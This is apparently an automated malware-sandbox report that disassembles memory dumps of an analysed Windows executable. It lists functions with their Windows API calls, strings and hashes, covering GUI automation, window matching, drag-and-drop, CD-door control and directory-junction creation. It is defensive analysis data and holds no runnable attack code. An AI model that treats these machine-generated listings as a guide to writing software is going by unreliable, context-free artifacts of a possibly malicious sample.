Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 8a6747c6b6ef834df94cd49f8459b9ac34ffeec0fe85bfeaeca79c1db50e923b
Instruction ID: c1068f5d962173acfef5e0bea57dce615761470a53efb01e8ce35f2f246dcc76
Opcode Fuzzy Hash: 8a6747c6b6ef834df94cd49f8459b9ac34ffeec0fe85bfeaeca79c1db50e923b
Instruction Fuzzy Hash: E8A19C702182029BDB14EF24CC81AAAB7E5BF85314F088958B9D69B3D2DF79E805DB41

Function 00FF52F0 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00FF5309
LoadCursorW.USER32(00000000,00007F8A), ref: 00FF5314
LoadCursorW.USER32(00000000,00007F00), ref: 00FF531F
LoadCursorW.USER32(00000000,00007F03), ref: 00FF532A
LoadCursorW.USER32(00000000,00007F8B), ref: 00FF5335
LoadCursorW.USER32(00000000,00007F01), ref: 00FF5340
LoadCursorW.USER32(00000000,00007F81), ref: 00FF534B
LoadCursorW.USER32(00000000,00007F88), ref: 00FF5356
LoadCursorW.USER32(00000000,00007F80), ref: 00FF5361
LoadCursorW.USER32(00000000,00007F86), ref: 00FF536C
LoadCursorW.USER32(00000000,00007F83), ref: 00FF5377
LoadCursorW.USER32(00000000,00007F85), ref: 00FF5382
LoadCursorW.USER32(00000000,00007F82), ref: 00FF538D
LoadCursorW.USER32(00000000,00007F84), ref: 00FF5398
LoadCursorW.USER32(00000000,00007F04), ref: 00FF53A3
LoadCursorW.USER32(00000000,00007F02), ref: 00FF53AE
GetCursorInfo.USER32(?), ref: 00FF53BE
GetLastError.KERNEL32(00000001,00000000), ref: 00FF53E9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: a86da5b3488aa1359f7ea7a1645d973de54e94393e1635c94cb968d41028f4f4
Instruction ID: e34b457c90c4f029e064f6472000665e18b9606d710584e1432b715e3e27dfdb
Opcode Fuzzy Hash: a86da5b3488aa1359f7ea7a1645d973de54e94393e1635c94cb968d41028f4f4
Instruction Fuzzy Hash: 2C416770E043196ADB109FB68C4996EFFF8EF51B60F10452FE609E7290DAB89401DF51

Function 00FDAA64 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00FDAAA5
__swprintf.LIBCMT ref: 00FDAB46
_wcscmp.LIBCMT ref: 00FDAB59
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00FDABAE
_wcscmp.LIBCMT ref: 00FDABEA
GetClassNameW.USER32(?,?,00000400), ref: 00FDAC21
GetDlgCtrlID.USER32(?), ref: 00FDAC73
GetWindowRect.USER32(?,?), ref: 00FDACA9
GetParent.USER32(?), ref: 00FDACC7
ScreenToClient.USER32(00000000), ref: 00FDACCE
GetClassNameW.USER32(?,?,00000100), ref: 00FDAD48
_wcscmp.LIBCMT ref: 00FDAD5C
GetWindowTextW.USER32(?,?,00000400), ref: 00FDAD82
_wcscmp.LIBCMT ref: 00FDAD96

Part of subcall function 00FA386C: _iswctype.LIBCMT ref: 00FA3874

Strings

%s%u, xrefs: 00FDAB40

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 4ecc8b89dbb94f9011abff3c5150dcbdf6818036df98a9e4388e54d0db46226e
Instruction ID: ec78449604c0ea19fe026e9bb9d1d20be132ab66ad174136c151eca15b937e4b
Opcode Fuzzy Hash: 4ecc8b89dbb94f9011abff3c5150dcbdf6818036df98a9e4388e54d0db46226e
Instruction Fuzzy Hash: 4FA1F671604706AFD715DF20C884BAAF7EAFF04325F08461AF999C3250D734E945EB96

Function 00FDB397 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00FDB3DB
_wcscmp.LIBCMT ref: 00FDB3EC
GetWindowTextW.USER32(00000001,?,00000400), ref: 00FDB414
CharUpperBuffW.USER32(?,00000000), ref: 00FDB431
_wcscmp.LIBCMT ref: 00FDB44F
_wcsstr.LIBCMT ref: 00FDB460
GetClassNameW.USER32(00000018,?,00000400), ref: 00FDB498
_wcscmp.LIBCMT ref: 00FDB4A8
GetWindowTextW.USER32(00000002,?,00000400), ref: 00FDB4CF
GetClassNameW.USER32(00000018,?,00000400), ref: 00FDB518
_wcscmp.LIBCMT ref: 00FDB528
GetClassNameW.USER32(00000010,?,00000400), ref: 00FDB550
GetWindowRect.USER32(00000004,?), ref: 00FDB5B9

Strings

ThumbnailClass, xrefs: 00FDB4A3, 00FDB523
@, xrefs: 00FDB3BC

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 9ab97df11ff38979d335b9aef7b4feb3bef621a989e588ea4e80b239b72ef36b
Instruction ID: 2c47f070a67f2cb96538ae75a26743d5004471f95ccd4ccc240948aa1cd227c7
Opcode Fuzzy Hash: 9ab97df11ff38979d335b9aef7b4feb3bef621a989e588ea4e80b239b72ef36b
Instruction Fuzzy Hash: 9581D071408205DBDB11DF10D881FAA7BE9FF44724F0C816AFD858A296DB34DD45EB61

Function 00FDB1E0 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00FDB23F

Strings

[CLASS:, xrefs: 00FDB28F
LAST, xrefs: 00FDB204
[LAST, xrefs: 00FDB2EC
HANDLE=, xrefs: 00FDB238
[HANDLE:, xrefs: 00FDB24B
[ALL, xrefs: 00FDB2E5
ACTIVE, xrefs: 00FDB21A
[ACTIVE, xrefs: 00FDB22C
[REGEXPTITLE:, xrefs: 00FDB267
CLASSNAME=, xrefs: 00FDB27C
ALL, xrefs: 00FDB2D3
REGEXP=, xrefs: 00FDB254

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: f4b4379476ca90bba4c787951cf496f10441aefc9a182b739a1259bbfde27ceb
Instruction ID: c89e73fade58e2c4109d7a47b224293a7509359b633d51db92d6d5a0288c1c8e
Opcode Fuzzy Hash: f4b4379476ca90bba4c787951cf496f10441aefc9a182b739a1259bbfde27ceb
Instruction Fuzzy Hash: 5C310332A04305E6CB01FE62CD83FEE77A9AF15B51F64001AB481751D1EFA9AE04F650

Function 00FDC4C1 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00FDC4D4
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00FDC4E6
SetWindowTextW.USER32(?,?), ref: 00FDC4FD
GetDlgItem.USER32(?,000003EA), ref: 00FDC512
SetWindowTextW.USER32(00000000,?), ref: 00FDC518
GetDlgItem.USER32(?,000003E9), ref: 00FDC528
SetWindowTextW.USER32(00000000,?), ref: 00FDC52E
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00FDC54F
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00FDC569
GetWindowRect.USER32(?,?), ref: 00FDC572
SetWindowTextW.USER32(?,?), ref: 00FDC5DD
GetDesktopWindow.USER32 ref: 00FDC5E3
GetWindowRect.USER32(00000000), ref: 00FDC5EA
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00FDC636
GetClientRect.USER32(?,?), ref: 00FDC643
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00FDC668
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00FDC693

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: ca755b196ab6f78dcbc1585d6c5232dff7acfe27c17d776589f314b11875a111
Instruction ID: a24e057d8a342f975edcdcb4c62bf0604a1f76223eb80d3658323c0263781874
Opcode Fuzzy Hash: ca755b196ab6f78dcbc1585d6c5232dff7acfe27c17d776589f314b11875a111
Instruction Fuzzy Hash: 35518F7190070AAFDB31DFA8DD85B6EBBB6FF04704F044519E686A26A0C775A904DB80

Function 0100A428 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0100A4C8
DestroyWindow.USER32(?,?), ref: 0100A542

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0100A5BC
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0100A5DE
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0100A5F1
DestroyWindow.USER32(00000000), ref: 0100A613
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00F80000,00000000), ref: 0100A64A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0100A663
GetDesktopWindow.USER32 ref: 0100A67C
GetWindowRect.USER32(00000000), ref: 0100A683
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0100A69B
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0100A6B3

Part of subcall function 00F825DB: GetWindowLongW.USER32(?,000000EB), ref: 00F825EC

Strings

0, xrefs: 0100A4DE
tooltips_class32, xrefs: 0100A5B5, 0100A643

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: d0cdebbd653659fd5511bb5caedb62ad7481d192dea2e2029372530534e8c2f1
Instruction ID: e9698f06d41cc78ce8bd357833f238af7ea6845f197937c6cf08ba447bd0e5bf
Opcode Fuzzy Hash: d0cdebbd653659fd5511bb5caedb62ad7481d192dea2e2029372530534e8c2f1
Instruction Fuzzy Hash: 4F7178B1240305AFE722DF28CC49FAA7BE5FB89344F04455CFA8587291D776A942DB21

Function 0100C8EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

DragQueryPoint.SHELL32(?,?), ref: 0100C917

Part of subcall function 0100ADF1: ClientToScreen.USER32(?,?), ref: 0100AE1A
Part of subcall function 0100ADF1: GetWindowRect.USER32(?,?), ref: 0100AE90
Part of subcall function 0100ADF1: PtInRect.USER32(?,?,0100C304), ref: 0100AEA0

SendMessageW.USER32(?,000000B0,?,?), ref: 0100C980
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0100C98B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0100C9AE
_wcscat.LIBCMT ref: 0100C9DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0100C9F5
SendMessageW.USER32(?,000000B0,?,?), ref: 0100CA0E
SendMessageW.USER32(?,000000B1,?,?), ref: 0100CA25
SendMessageW.USER32(?,000000B1,?,?), ref: 0100CA47
DragFinish.SHELL32(?), ref: 0100CA4E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0100CB41

Strings

@GUI_DROPID, xrefs: 0100CA6E
@GUI_DRAGID, xrefs: 0100CAB9
@GUI_DRAGFILE, xrefs: 0100CAF0

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: c082adc8d139e5718b87cace0f703e0841a354b177d44e3bd089993704a46b88
Instruction ID: 4b6d968d119c35a1266b67072aa99047aec157cd7b4ba405fc044e24dbeae666
Opcode Fuzzy Hash: c082adc8d139e5718b87cace0f703e0841a354b177d44e3bd089993704a46b88
Instruction Fuzzy Hash: 11618971108301AFD712EF64CC85D9FBBE8EFC9750F000A1EF592961A1DB759A09DB92

Function 01004619 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 010046AB
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 010046F6

Strings

GETTOTALCOUNT, xrefs: 010046DD
EXPAND, xrefs: 010047A8
CHECK, xrefs: 01004716
ISCHECKED, xrefs: 01004879
EXISTS, xrefs: 0100475F
COLLAPSE, xrefs: 0100473C
GETTEXT, xrefs: 01004849
GETSELECTED, xrefs: 01004806
UNCHECK, xrefs: 010048D2
GETITEMCOUNT, xrefs: 010047D8
SELECT, xrefs: 010048A7

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 0ec41a56a76c92ec99a82bd5b4368540b6f1f573ecc71ead34f244af641b2e29
Instruction ID: c1d4b82e661247c35281140860d3662cde6fe2a588e2e944ad6bae48ab9524a2
Opcode Fuzzy Hash: 0ec41a56a76c92ec99a82bd5b4368540b6f1f573ecc71ead34f244af641b2e29
Instruction Fuzzy Hash: 64917D742083029FDB15EF10C891A6DB7E2BF89314F04485DE9D69B3A2DB78ED0ADB45

Function 0100BAB8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0100BB6E
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,01009431), ref: 0100BBCA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0100BC03
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0100BC46
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0100BC7D
FreeLibrary.KERNEL32(?), ref: 0100BC89
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0100BC99
DestroyIcon.USER32(?,?,?,?,?,01009431), ref: 0100BCA8
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0100BCC5
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0100BCD1

Part of subcall function 00FA313D: __wcsicmp_l.LIBCMT ref: 00FA31C6

Strings

.dll, xrefs: 0100BB27
.icl, xrefs: 0100BAE4
.exe, xrefs: 0100BB04

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 3d3f22951c090730139070427c82dc11301d6e95673d74a56b66f5ebf8c29262
Instruction ID: 2b7273721315e80b5fc3047702e832dba298e8bac3b5db1237dc5a822207f234
Opcode Fuzzy Hash: 3d3f22951c090730139070427c82dc11301d6e95673d74a56b66f5ebf8c29262
Instruction Fuzzy Hash: 8F61E271600619BBFB26DF68CC85FBE7BA8FB08710F104149F955D61C1DBB9A980DB60

Function 00FEA5BD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

CharLowerBuffW.USER32(?,?), ref: 00FEA636
GetDriveTypeW.KERNEL32 ref: 00FEA683
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FEA6CB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FEA702
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FEA730

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

Strings

open, xrefs: 00FEA65D
close, xrefs: 00FEA63C
wait, xrefs: 00FEA6ED
closed, xrefs: 00FEA64A, 00FEA653
close cd wait, xrefs: 00FEA71B
set cd door , xrefs: 00FEA6D1
type cdaudio alias cd wait, xrefs: 00FEA6AE
open , xrefs: 00FEA692

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 7b6a891e33450c5fe384219c2bc132935cbbd79582a2302c8fecca9a8b3d4dcd
Instruction ID: b816420652199d1320c7ab09b2ca93695e8b58bd57d4a5dc17483897ce966c18
Opcode Fuzzy Hash: 7b6a891e33450c5fe384219c2bc132935cbbd79582a2302c8fecca9a8b3d4dcd
Instruction Fuzzy Hash: 535149711083059FC700EF21CC819AAB7E8FF98718F14495CF89697261DB39EE0AEB52

Function 00FEA45A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00FEA47A
__swprintf.LIBCMT ref: 00FEA49C
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FEA4D9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00FEA4FE
_memset.LIBCMT ref: 00FEA51D
_wcsncpy.LIBCMT ref: 00FEA559
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00FEA58E
CloseHandle.KERNEL32(00000000), ref: 00FEA599
RemoveDirectoryW.KERNEL32(?), ref: 00FEA5A2
CloseHandle.KERNEL32(00000000), ref: 00FEA5AC

Strings

\??\%s, xrefs: 00FEA496
:, xrefs: 00FEA4BD
\, xrefs: 00FEA4B2

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: bf808bdf4fc1faeffa43c474464e12412f8cacea5a748d2617de3caf89f3fa11
Instruction ID: 25d5d69f5af26a18a92f470cb6953255995d35c147530d07729a79d42cd63155
Opcode Fuzzy Hash: bf808bdf4fc1faeffa43c474464e12412f8cacea5a748d2617de3caf89f3fa11
Instruction Fuzzy Hash: 2D31D2B290024AABDB31DFA1DC48FEB37BCEF89710F1040A6F908D2054E774A6449B24

Function 0100C49C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0100C4EC
GetFocus.USER32 ref: 0100C4FC
GetDlgCtrlID.USER32(00000000), ref: 0100C507
_memset.LIBCMT ref: 0100C632
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0100C65D
GetMenuItemCount.USER32(?), ref: 0100C67D
GetMenuItemID.USER32(?,00000000), ref: 0100C690
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0100C6C4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0100C70C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0100C744
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0100C779

Strings

0, xrefs: 0100C62A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 7d65ef9786f67db165b7c000ac15e211dc7fd568666266b1f965c9163eb35fb1
Instruction ID: aa79177febb0229d88c94f5cb6428b741df85d768060afc0decc52dc5f4ec000
Opcode Fuzzy Hash: 7d65ef9786f67db165b7c000ac15e211dc7fd568666266b1f965c9163eb35fb1
Instruction Fuzzy Hash: 2381A2741083019FF722DF18CA84AABBBE4FB88314F00069DF9D993291D772E945CB92

Function 00FD83F4 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FD8766
Part of subcall function 00FD874A: GetLastError.KERNEL32(?,00FD822A,?,?,?), ref: 00FD8770
